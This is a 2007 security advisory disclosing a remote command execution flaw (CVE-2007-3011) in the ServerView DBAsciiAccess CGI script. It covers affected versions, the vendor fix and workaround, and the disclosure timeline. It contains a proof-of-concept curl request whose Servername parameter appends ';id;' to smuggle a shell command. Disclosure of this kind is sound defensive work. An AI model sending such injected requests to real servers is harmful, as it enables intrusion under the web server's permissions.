Advisory: Fujitsu-Siemens ServerView Remote Command Execution

RedTeam Pentesting discovered a remote command execution in the Fujitsu-
Siemens ServerView during a penetration test. The DBAsciiAccess CGI
script is vulnerable to a remote command execution because of a
parameter which is not properly sanitized. An attacker may run arbitrary
commands on the server with the permissions of the webserver user.

Details

Product: Fujitsu Siemens Computers ServerView
Affected Versions: < 4.50.09
Fixed Versions: 4.50.09
Vulnerability Type: Remote Command Execution
Security-Risk: high
Vendor-URL:
http://www.fujitsu-siemens.com/products/standard_servers/system_management/control.html
Vendor-Status: informed, fixed version released
Advisory-URL: http://www.redteam-pentesting.de/advisories/rt-sa-2007-002.php
Advisory-Status: public
CVE: CVE-2007-3011
CVE-URL: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3011

Introduction

"ServerView provides asset management tools for automated analysis and
version maintenance. It also supports the tracking of system
installation and status by collecting inventory data. Because they are
stored centrally, archives can be readily compared to a master version
to trace changes over time and highlight differences with the original
setup."

(from the vendor's homepage)

More Details

ServerView has a Remote Command Execution in its Webinterface. The
DBAsciiAccess CGI script provides a "ping" functionality. In the
subparameter "Servername" of the parameter "Parameterlist" of this
script, the IP address to be pinged is given. This IP address will be
given as a parameter to the ping program without further sanitization.
By adding a trailing semicolon after the IP, an attacker can add
arbitrary shell commands which will be executed with the permissions of
the webserver user.

Proof of Concept

The following URL was wrapped for better readability.

curl
"http://www.example.com/cgi-bin/ServerView/
SnmpView/DBAsciiAccess
?SSL=
&Application=ServerView/SnmpView
&Submit=Submit
&UserID=1
&Profile=
&DBAccess=ASCII
&Viewing=-1
&Action=Show
&ThisApplication=TestConnectivityFrame
&DBElement=ServerName
&DBValue=bcmes
&DBList=snism
&UserValue=
&DBTableList=SERVER_LIST
&Sorting=
&ParameterList=What–primary,
OtherCommunity–public,
SecondIP–,
Timeout–5,
Community–public,
ServerName–bcmes,
Servername–127.0.0.1;id;, # vulnerable parameter
SType–Server"

Workaround

Block access to the ServerView web interface for all untrusted users.

Fix

Version 4.50.09 of the linux agent fixes the problem. It can be downloaded
with
the SW-ID: 1013988 under

http://www.fujitsu-siemens.com/support

Fujitsu-Siemens decided to make a silent fix, as the vulnerability is not
mentioned in the comments of the patch. They told RedTeam Pentesting that it
is fixed in this version, though.

Security Risk

The security risk is high. An attacker is able to execute arbitrary
commands on the server with the permissions of the webserver user.

History

2007-05-07 First contact with vendor. No one who is responsible found,
contact will call back with further information.
2007-05-08 A responsible contact for the product is found and gets the
advisory
2007-05-09 The vulnerability gets acknowledged as not being known
before. A fix is being worked on.
2007-06-18 CVE number assigned
2007-07-04 Vendor releases fixed version
2007-07-04 Advisory released

RedTeam Pentesting GmbH

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pentests, performed by a team of specialised IT-security experts.
Hereby, security weaknesses in company networks or products are
uncovered and can be fixed immediately.

As there are only few experts in this field, RedTeam Pentesting wants to
share its knowledge and enhance the public knowledge with research in
security related areas. The results are made available as public
security advisories.

More information about RedTeam Pentesting can be found at
http://www.redteam-pentesting.de.

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